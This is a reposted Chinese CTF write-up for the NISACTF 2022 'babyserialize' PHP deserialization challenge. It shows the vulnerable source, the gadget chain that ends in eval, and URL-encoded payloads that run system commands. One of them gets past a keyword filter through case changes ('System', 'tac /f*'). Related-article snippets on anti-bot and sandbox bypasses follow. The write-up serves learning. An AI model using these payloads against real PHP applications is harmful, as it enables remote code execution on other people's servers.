[NISACTF 2022]babyserialize - 反序列化(waf绕过)【*】

2023-10-11 19:53

本文主要是介绍[NISACTF 2022]babyserialize - 反序列化(waf绕过)【*】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[NISACTF 2022]babyserialize

  • 一、解题过程
  • 二、思考总结
    • (一)、关于题目的小细节
    • (二)、关于弱类型比较技巧

1

一、解题过程

题目代码:

<?php
include "waf.php";
class NISA{public $fun="show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER";private $fun='abc';public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}
if(isset($_GET['ser'])){@unserialize($_GET['ser']);
}else{highlight_file(__FILE__);
}
?>

1、分析链条和属性
  链条:TianXiWeis(__wakeup)-> Ilovetxw(__call)-> four(__set) -> Ilovetxw(__toString)-> NISA(__invoke)
  属性:TianXiWeis(ext=$i)-> Ilovetxw(huang=$f)-> four(fun="sixsixsix";a=$i)-> Ilovetxw(su=$n)-> NISA(txw4ever=命令)
2、序列化代码:这里暂时还不知道waf是什么,暂时也没底,先试试看能不能成功打通链条再说 ᕦ(・ㅂ・)ᕤ

<?php………………………class照搬………………………$t = new TianXiWei();$i = new Ilovetxw();$f = new four();$n = new NISA();$t->ext=$i;$i->huang=$f;$f->fun="sixsixsix";$f->a=$i;$i->su=$n;	//这里可以注释掉,取消Ilovetxw和NISA的魔术方法调用,看看会不会出现NISA的hint提示,从而判断我们构造的代码有没有问题$n->txw4ever="system('ls');";//echo serialize($t);	有特殊字符,不能用serializeecho urlencode(serialize($t));	//记住是序列化t不是n哦~
?>

payload=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D
得到:flag is in /

3、大小写绕过system,tac绕过cat;删除fun内容,跳过hint()提示
payload=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27tac+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D
得到:NSSCTF{d0d88168-866b-4c8a-a9ef-e3530912602e}

二、思考总结

(一)、关于题目的小细节

在做这题的时候,我的链条构造一直有:$f->fun="sixsixsix";
但是在看完别人的wp之后,发现并没有进行$f->fun="sixsixsix";的赋值操作
我在整体的角度看了好久也没看出为什么不赋值也能顺利拿到payload,也去请教了老师
思考
讲讲原因:if里面是**=,不是==**!哈哈哈哈
有时候确实代码一长,就容易忽视细节,默认if里面就是判断,其实是错的!
因为该问题,我明白了认真观察、注意细节的重要性。

(二)、关于弱类型比较技巧

这题解决之后,我发现有个评论很有意思
思考
当我们把变量赋值为类对象,在和字符串比较的时候,会被转化为字符串再比较,触发toString魔术方法,少走很多弯路,又学到一个技巧!

这篇关于[NISACTF 2022]babyserialize - 反序列化(waf绕过)【*】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/190453

相关文章

小技巧绕过Sina Visitor System(新浪访客系统)

0x00 前言 一直以来,爬虫与反爬虫技术都时刻进行着博弈,而新浪微博作为一个数据大户更是在反爬虫上不遗余力。常规手段如验证码、封IP等等相信很多人都见识过…… 当然确实有需要的话可以通过新浪开放平台提供的API进行数据采集,但是普通开发者的权限比较低,限制也比较多。所以如果只是做一些简单的功能还是爬虫比较方便~ 应该是今年的早些时候,新浪引入了一个Sina Visitor Syst

frida检测绕过-libmsaoaidsec.so

libmsaoaidsec.so 部分检测手段 检测机制在native层实现一般在init_proc()函数中触发使用 pthread_create 创建2个检测线程 绕过: nop pthread_create 的调用 eg: 在 bilibil1 - v7.26.1版本中, 在got表导入了pthread_create 绕过: 替换dlsym(xx, "pthread_create ")的返

Python---文件IO流及对象序列化

文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 前文模块中提到加密模块,本文将终点介绍加密模块和文件流。 一、文件流和IO流概述         在Python中,IO流是用于输入和输出数据的通道。它可以用于读取输入数据或将数据写入输出目标。IO流可以是标准输入/输出流(stdin和stdout),也可以是文件流,网络流等。

jquery 表单序列化

jQuery序列化表单的方法总结 现在这里贴出案例中静态的html网页内容: <!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><title>Title</title><script src="../js/jquery-3.2.1.js"></script></head><body><form method="post"

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

Spring之——整合Redis序列化方式StringRedisSerializer、FastJsonRedisSerializer和KryoRedisSerializer

当我们的数据存储到Redis的时候,我们的键(key)和值(value)都是通过Spring提供的Serializer序列化到数据库的。RedisTemplate默认使用的是JdkSerializationRedisSerializer,StringRedisTemplate默认使用的是StringRedisSerializer。 Spring Data JPA为我们提供了下面的Serializ

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

使用 `readResolve` 防止序列化破坏单例模式

单例模式是一种设计模式,其目的是确保一个类只有一个实例,并提供一个全局访问点。在 Java 中,我们常常通过私有化构造方法和提供静态访问方法来实现单例。然而,尽管这些手段可以有效防止类的实例化,反射和序列化依然能够破坏单例模式的唯一性。本文将重点讲解序列化如何破坏单例模式,以及如何通过 readResolve 方法来防止这种破坏。 1. 序列化和反序列化 序列化 是指将对象的状态转换为字节

上海大学《2022年836+915自动控制原理真题及答案》 (完整版)

Part1:2022年上海大学真题题目 学硕836 专硕915 Part2:2022年上海大学真题答案 学硕836 专硕915

【webdriver 识别】webdriver 识别绕过原理与实战

目标网站:http://www.porters.vip/features/webdriver.html 获取 点击查看详情里面的内容 我们先用selinum 试试,直接定位按钮,渲染出来。 # -*- coding: utf-8 -*-from selenium import webdriverfrom selenium.webdriver.chrome.options import